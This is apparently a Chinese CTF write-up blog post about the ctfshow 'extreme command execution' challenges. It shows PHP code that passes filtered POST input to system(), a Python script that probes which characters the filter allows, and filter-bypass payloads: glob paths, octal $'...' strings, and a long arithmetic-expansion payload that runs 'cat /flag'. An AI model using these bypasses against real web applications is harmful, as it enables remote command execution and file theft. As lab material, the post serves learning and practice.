当前位置: 首页 > news >正文

ctfshow 每周大挑战 极限命令执行

《简单的命令执行题目》
这里感叹一下,g4佬是真好厉害,这次题目十分的难,嗯,对我这种菜鸡来说是这样的,想了一天,最后结束了,也还是没有想明白第五题的解法,我真是fw,到最后也只能解出4道。

目录

基础

题目

极限命令执行1

极限命令执行2

极限命令执行3

极限命令执行4


基础

在讲之前大家可以先了解了解一些基础。

首先关于<<<,这里看下面这篇文章

stackexchange的文章   因为是stackexchange的,所以是要挂vpn的
然后下面这些文章也是可以看一下的
文章

文章1 文章2 文章3

题目

极限命令执行1

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflagerror_reporting(0);
highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){system($ctfshow);}else{echo("????????");}
}
?> 

这里首先跑一下正则,因为一些不知名原因,直接显示不出来,所有进行url加密以后去解密了。

<?phpfor ($a = 0; $a < 256; $a++) {if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",chr($a))){echo urlencode(chr($a))." ";}
}

这里我们就知道了,有这些是可以使用,这样我们就可以构造了。

因为题目提示环境是centos7,因为centos7的环境是可以直接使用/执行文件的

payload1:ctf_show=/?????a?
payload2:ctf_show=/???/?a??64 /??a?

极限命令执行2

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflagerror_reporting(0);
highlight_file(__FILE__);
include "check.php";if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];check($ctfshow);system($ctfshow);
}
?> 

里面是先经过,check然后,才进去system中的,那时候没有注意,还以为check是一个php自带函数,查了半天,之后才发现了include "check.php",哈哈哈

这里是一个过滤,我们可以尝试尝试,这里写一个脚本来跑正则。

import requests#这里填写自己的靶机网址
url = "http://40e404d6-3af3-401c-b11c-9e48298fd1ce.challenge.ctf.show/"str= ""
for i in range(255):data = {'ctf_show':chr(i)}retext = requests.post(url,data=data).textif "??????" in retext:print(1)else:str += chr(i)print(str)
这里等1跑完了,可以用的就出来了。

 

这里有这些是可以使用的,然后就是这么一些东西来进行命令执行。

#这个命令大家应该都比较熟悉的吧,这个就是cat /etc/passwd的16进制
$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")#因为不能有字母和",这里就要进行变形了
$'\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'

但是这里出现一个问题,就是他不能进行命令执行,但是可以执行文件。

这里就是/getflag,我里面写的就是echo 1,但是现在有出现了一个问题就是有字母x,不可以使用的,但是别忘了还是有8进制的。

 

所以将16进制转换8进制就可以了

payload:ctf_show=$'\57\147\145\164\146\154\141\147'

极限命令执行3

 <?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里error_reporting(0);
highlight_file(__FILE__);
include "check.php";if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];check($ctfshow);system($ctfshow);
}
?> 

这里还是老样子,先跑跑正则。

!#$&'()01<\_{}~

这里跑出来是这些东西,看到0和1的瞬间我就想到二进制,一脸兴奋认为这题还是很简单的嘛,然后现实给我狠狠一巴掌。

这里我们可以看到其实最多就可以解析三位多了不行,之后就是在这里卡住了。

这里我卡了很久,然后是一直没有想明白然后再第一天的下午,突然想起来,一个原码和补码的知识,这里可以看ctfshow入门的57题。

这样就可以使用~()$,这四个符号来构造任何数字了,然后就有了第一代脚本。

a = r"\ 5 7 \ 1 4 7 \ 1 4 5 \ 1 6 4 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"b = a.split(' ')
str = ""
for i in b:if i != "\\":str += "$((~$((" + "$((~$(())))" * (int(i)+ 1) + "))))"else:str += "\\\\"print("$'"+str+"'")

但是这里发现并没有被执行,然后多谢 谢队的提醒,让我在进一步。

首先我们要知道shell中的单引号和双引号都有自己的意思,这点和php、java之类的挺像的,当然不包括python。

这里就不说了,随便找了一篇文章,自己可以看一下 文章

#上面脚本下面改成这样
print("$\\'"+str+"\\'")

这里进了一步,但是接下来就是如何进一步执行的问题了

然后这里可以使用$0<<<来进行重定向来进一步执行,考虑到部分人没有vpn,这里截取一部分,上面发的文章,详细的自己进行查看,然后$0是什么意思可以自行查看上面的文章。

 

 或者可以可以这么理解

command <<< string

command 是 Shell 命令,string 是字符串(它只是一个普通的字符串,并没有什么特别之处)。将字符串通过标准输入,传递给命令

#然后这里再次更改脚本print的,输出的内容
print("$0<<<$\\'"+str+"\\'")

这里可以看到是,执行/getflag的,输出了1。

但是放到其中的时候还是不行,因为我没有注意他是没有getflag的。

一脸兴奋到现实又给了我一巴掌。

然后就是尝试使用命令cat /flag,但是提示没有这个文件,额,没了,然后又是卡了很久。

最后才知道是要第二个重定向是要转义的,哎,不是很明白,单引号要转义就算了,第二次重定向还要转义。

#最终payload
# \ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7 cat /flag
a = r"\ 1 4 3 \ 1 4 1 \ 1 6 4 \ 4 0 \ 5 7 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7"
b = a.split(' ')
str = ""
for i in b:if i != "\\":str += "$((~$((" + "$((~$(())))" * (int(i)+ 1) + "))))"else:str += "\\\\"
print("$0<<<$0\\<\\<\\<$\\'"+str+"\\'")
payload:ctf_show=$0<<<$0\<\<\<$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

极限命令执行4

<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里error_reporting(0);
highlight_file(__FILE__);
include "check.php";if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];check($ctfshow);system($ctfshow);
}
?> 

老样子使用python跑一下正则。

!#$&'()0<\_{}~

就比上面少一个1,但是我也没有用到1呀,所以用上面payload就可以了

http://www.lryc.cn/news/3806.html

相关文章:

  • 使用vue3,vite,less,flask,python从零开始学习硅谷外卖(16-40集)
  • 坚持就是胜利
  • 代码中出现转置 pose (c2w,外参矩阵) 或者转置 intrinsic (内参)矩阵的原因
  • 2023 年腾讯云服务器配置价格表出炉(2核2G/2核4G/4核8G/8核16G、16核32G)
  • 相机出图画面一半清晰,一半模糊的原因是什么?
  • Rust学习入门--【4】Rust 输出到命令行
  • Vector刷写方案—vFlash工具介绍
  • 【阶段总结】《非结构化信息分析应用与实践(筹)》
  • 七大设计原则之迪米特法则应用
  • curl命令用法精简整理
  • Fluent Python 笔记 第 5 章 一等函数
  • 卡尔曼滤波器与DSP实现
  • 引入QQ邮箱发送验证码进行安全校验
  • 【c++】数组
  • 线程池的简单实现:Java线程池初学者必读指南
  • 【C#】[带格式的字符串] 复合格式设置字符串与使用 $ 的字符串内插 | 如何格式化输出字符串
  • Lecture4 反向传播(Back Propagation)
  • Power BI 筛选器函数---Window实例详解
  • 基础篇—如何创建css样式表,并集成到html文件中?
  • WindowsServer服务器系列:部署FTP文件服务
  • 华为OD机试 - 数字加减游戏(Python)| 真题+思路+代码
  • 【c/c++】c语言的自增操作在不同编译器的差别
  • 【LeetCode第 332 场周赛】
  • 【蓝桥杯单片机】Keil5中怎么添加STC头文件;从烧录软件中添加显示添加成功后新建工程时依旧找不到
  • 图解浏览器渲染页面详细过程
  • 多线程面试题开胃菜1(5道)
  • 植物育种中广义遗传力的定义
  • 西瓜书读书笔记—绪论
  • ES8——Generator函数的使用
  • 德馨食品冲刺A股上市:计划募资9亿元,林志勇为实际控制人